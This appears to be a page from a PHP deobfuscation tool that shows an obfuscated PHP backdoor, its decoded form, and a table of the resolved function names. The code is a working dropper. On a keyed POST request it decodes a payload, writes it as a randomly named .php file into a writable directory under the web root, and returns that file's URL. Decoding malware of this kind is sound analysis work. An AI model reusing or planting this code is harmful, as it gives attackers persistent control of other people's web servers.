Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $UuDadAP = "\104" . "\x4f" . "\103" . chr(511 - 426) . "\x4d" . "\105" . chr(78) . "..

Decoded Output download

<?php $UuDadAP = "D" . "O" . "C" . chr(511 - 426) . "M" . "E" . chr(78) . "T" . chr(95) . chr(574 - 492) . "O" . 'O' . 'T'; 
$dwdZx = 'H' . chr(586 - 502) . "T" . "P" . chr(95) . chr(1030 - 958) . chr(839 - 760) . chr(83) . chr(523 - 439); 
$giyaJm = 'h' . chr(333 - 217) . chr(116) . "p" . ":" . chr(588 - 541) . chr(47); 
$DTxMUMrKP = '.' . 'p' . "h" . chr(389 - 277); 
$tCSUNui = 'p' . chr(573 - 469) . "p"; 
$WiKdUdrotB = chr(991 - 889) . chr(105) . "l" . 'e' . chr(95) . 'p' . chr(784 - 667) . "t" . "_" . 'c' . chr(111) . 'n' . chr(116) . "e" . "n" . chr(573 - 457) . chr(155 - 40); 
$yUTaEw = chr(114) . "a" . "w" . "u" . chr(114) . "l" . "d" . chr(101) . chr(730 - 631) . "o" . chr(117 - 17) . chr(682 - 581); 
$aCgtA = "u" . 'n' . "s" . chr(101) . chr(119 - 5) . chr(105) . "a" . "l" . chr(1088 - 983) . chr(574 - 452) . 'e'; 
$MjGoeFJD = "i" . 's' . '_' . 'w' . "r" . 'i' . "t" . 'a' . "b" . chr(108) . chr(101); 
$kJraoRJ = "p" . "h" . chr(112) . chr(1057 - 939) . chr(101) . chr(114) . "s" . chr(1078 - 973) . chr(670 - 559) . "n"; 
$NXxJtdHcbo = chr(719 - 604) . chr(148 - 32) . 'r' . "_" . chr(268 - 154) . "o" . "t" . chr(224 - 175) . "3"; 
$doyoRTe = chr(521 - 406) . chr(101) . "r" . "i" . "a" . "l" . chr(105) . chr(122) . "e"; 
$vjZTMuzYj = 's' . "t" . chr(114) . '_' . 's' . chr(843 - 731) . chr(108) . "i" . chr(116); 
foreach ($_POST as $nHsmD => $qvlxcgDOL) { 
  if (strlen($nHsmD) == 16) { 
    $qvlxcgDOL = $vjZTMuzYj($yUTaEw($NXxJtdHcbo($qvlxcgDOL))); 
    $nHsmD = array_slice($vjZTMuzYj(str_repeat($nHsmD, (count($qvlxcgDOL) / 16) + 1)), 0, count($qvlxcgDOL)); 
    function kRHMYUhWGM($xtmxIociWF, $euRIPZomYE, $nHsmD) 
    { 
      $KsmPXt = "436ee7e7-0690-43c4-9ad1-45b60a846f71"; 
      return $xtmxIociWF ^ $KsmPXt[$euRIPZomYE % strlen($KsmPXt)] ^ $nHsmD; 
    } 
    $qvlxcgDOL = implode("", array_map("kRHMYUhWGM", array_values($qvlxcgDOL), array_keys($qvlxcgDOL), array_values($nHsmD))); 
    $qvlxcgDOL = @$aCgtA($qvlxcgDOL); 
    if (@is_array($qvlxcgDOL)) { 
      $GlgMwC = array_keys($qvlxcgDOL); 
      $qvlxcgDOL = $qvlxcgDOL[$GlgMwC[0]]; 
      if ($qvlxcgDOL === $GlgMwC[0]) { 
        echo @$doyoRTe(array($tCSUNui => @$kJraoRJ(),)); 
        exit(); 
      } else { 
        function qunXeTDW($gNFOJYGJir) 
        { 
          static $OWyXhGOec = array(); 
          $eQxvJwGK = glob($gNFOJYGJir . '/*', GLOB_ONLYDIR); 
          if (count($eQxvJwGK) > 0) { 
            foreach ($eQxvJwGK as $gNFOJYGJ) { 
              if (@$MjGoeFJD($gNFOJYGJ)) { 
                $OWyXhGOec[] = $gNFOJYGJ; 
              } 
            } 
          } 
          foreach ($eQxvJwGK as $gNFOJYGJir) qunXeTDW($gNFOJYGJir); 
          return $OWyXhGOec; 
        } 
        $aXWwHXxjO = $_SERVER[$UuDadAP]; 
        $eQxvJwGK = qunXeTDW($aXWwHXxjO); 
        $GlgMwC = array_rand($eQxvJwGK); 
        $MuYsD = $eQxvJwGK[$GlgMwC] . "/" . substr(md5(time()), 0, 8) . $DTxMUMrKP; 
        @$WiKdUdrotB($MuYsD, $qvlxcgDOL); 
        echo $giyaJm . $_SERVER[$dwdZx] . substr($MuYsD, strlen($aXWwHXxjO)); 
        exit(); 
      } 
    } 
  } 
} 
 ?>

Did this file decode correctly?

Original Code

<?php $UuDadAP = "\104" . "\x4f" . "\103" . chr(511 - 426) . "\x4d" . "\105" . chr(78) . "\124" . chr(95) . chr(574 - 492) . "\x4f" . 'O' . 'T';
$dwdZx = 'H' . chr(586 - 502) . "\124" . "\x50" . chr(95) . chr(1030 - 958) . chr(839 - 760) . chr(83) . chr(523 - 439);
$giyaJm = 'h' . chr(333 - 217) . chr(116) . "\160" . "\72" . chr(588 - 541) . chr(47);
$DTxMUMrKP = '.' . 'p' . "\x68" . chr(389 - 277);
$tCSUNui = 'p' . chr(573 - 469) . "\x70";
$WiKdUdrotB = chr(991 - 889) . chr(105) . "\154" . 'e' . chr(95) . 'p' . chr(784 - 667) . "\x74" . "\x5f" . 'c' . chr(111) . 'n' . chr(116) . "\145" . "\156" . chr(573 - 457) . chr(155 - 40);
$yUTaEw = chr(114) . "\x61" . "\x77" . "\x75" . chr(114) . "\x6c" . "\144" . chr(101) . chr(730 - 631) . "\157" . chr(117 - 17) . chr(682 - 581);
$aCgtA = "\165" . 'n' . "\x73" . chr(101) . chr(119 - 5) . chr(105) . "\x61" . "\x6c" . chr(1088 - 983) . chr(574 - 452) . 'e';
$MjGoeFJD = "\x69" . 's' . '_' . 'w' . "\162" . 'i' . "\164" . 'a' . "\x62" . chr(108) . chr(101);
$kJraoRJ = "\x70" . "\150" . chr(112) . chr(1057 - 939) . chr(101) . chr(114) . "\163" . chr(1078 - 973) . chr(670 - 559) . "\x6e";
$NXxJtdHcbo = chr(719 - 604) . chr(148 - 32) . 'r' . "\137" . chr(268 - 154) . "\157" . "\164" . chr(224 - 175) . "\x33";
$doyoRTe = chr(521 - 406) . chr(101) . "\162" . "\x69" . "\x61" . "\x6c" . chr(105) . chr(122) . "\145";
$vjZTMuzYj = 's' . "\x74" . chr(114) . '_' . 's' . chr(843 - 731) . chr(108) . "\151" . chr(116);
foreach ($_POST as $nHsmD => $qvlxcgDOL) {
  if (strlen($nHsmD) == 16) {
    $qvlxcgDOL = $vjZTMuzYj($yUTaEw($NXxJtdHcbo($qvlxcgDOL)));
    $nHsmD = array_slice($vjZTMuzYj(str_repeat($nHsmD, (count($qvlxcgDOL) / 16) + 1)), 0, count($qvlxcgDOL));
    function kRHMYUhWGM($xtmxIociWF, $euRIPZomYE, $nHsmD)
    {
      $KsmPXt = "436ee7e7-0690-43c4-9ad1-45b60a846f71";
      return $xtmxIociWF ^ $KsmPXt[$euRIPZomYE % strlen($KsmPXt)] ^ $nHsmD;
    }
    $qvlxcgDOL = implode("", array_map("kRHMYUhWGM", array_values($qvlxcgDOL), array_keys($qvlxcgDOL), array_values($nHsmD)));
    $qvlxcgDOL = @$aCgtA($qvlxcgDOL);
    if (@is_array($qvlxcgDOL)) {
      $GlgMwC = array_keys($qvlxcgDOL);
      $qvlxcgDOL = $qvlxcgDOL[$GlgMwC[0]];
      if ($qvlxcgDOL === $GlgMwC[0]) {
        echo @$doyoRTe(array($tCSUNui => @$kJraoRJ(),));
        exit();
      } else {
        function qunXeTDW($gNFOJYGJir)
        {
          static $OWyXhGOec = array();
          $eQxvJwGK = glob($gNFOJYGJir . '/*', GLOB_ONLYDIR);
          if (count($eQxvJwGK) > 0) {
            foreach ($eQxvJwGK as $gNFOJYGJ) {
              if (@$MjGoeFJD($gNFOJYGJ)) {
                $OWyXhGOec[] = $gNFOJYGJ;
              }
            }
          }
          foreach ($eQxvJwGK as $gNFOJYGJir) qunXeTDW($gNFOJYGJir);
          return $OWyXhGOec;
        }
        $aXWwHXxjO = $_SERVER[$UuDadAP];
        $eQxvJwGK = qunXeTDW($aXWwHXxjO);
        $GlgMwC = array_rand($eQxvJwGK);
        $MuYsD = $eQxvJwGK[$GlgMwC] . "/" . substr(md5(time()), 0, 8) . $DTxMUMrKP;
        @$WiKdUdrotB($MuYsD, $qvlxcgDOL);
        echo $giyaJm . $_SERVER[$dwdZx] . substr($MuYsD, strlen($aXWwHXxjO));
        exit();
      }
    }
  }
}

Function Calls

chr 55

Variables

$aCgtA unserialize
$dwdZx HTTP_HOST
$giyaJm http://
$yUTaEw rawurldecode
$UuDadAP DOCUMENT_ROOT
$doyoRTe serialize
$kJraoRJ phpversion
$tCSUNui php
$MjGoeFJD is_writable
$DTxMUMrKP .php
$vjZTMuzYj str_split
$NXxJtdHcbo str_rot13
$WiKdUdrotB file_put_contents

Stats

MD5 e02f118163f85c9fa40d2c9841a1663d
Eval Count 0
Decode Time 97 ms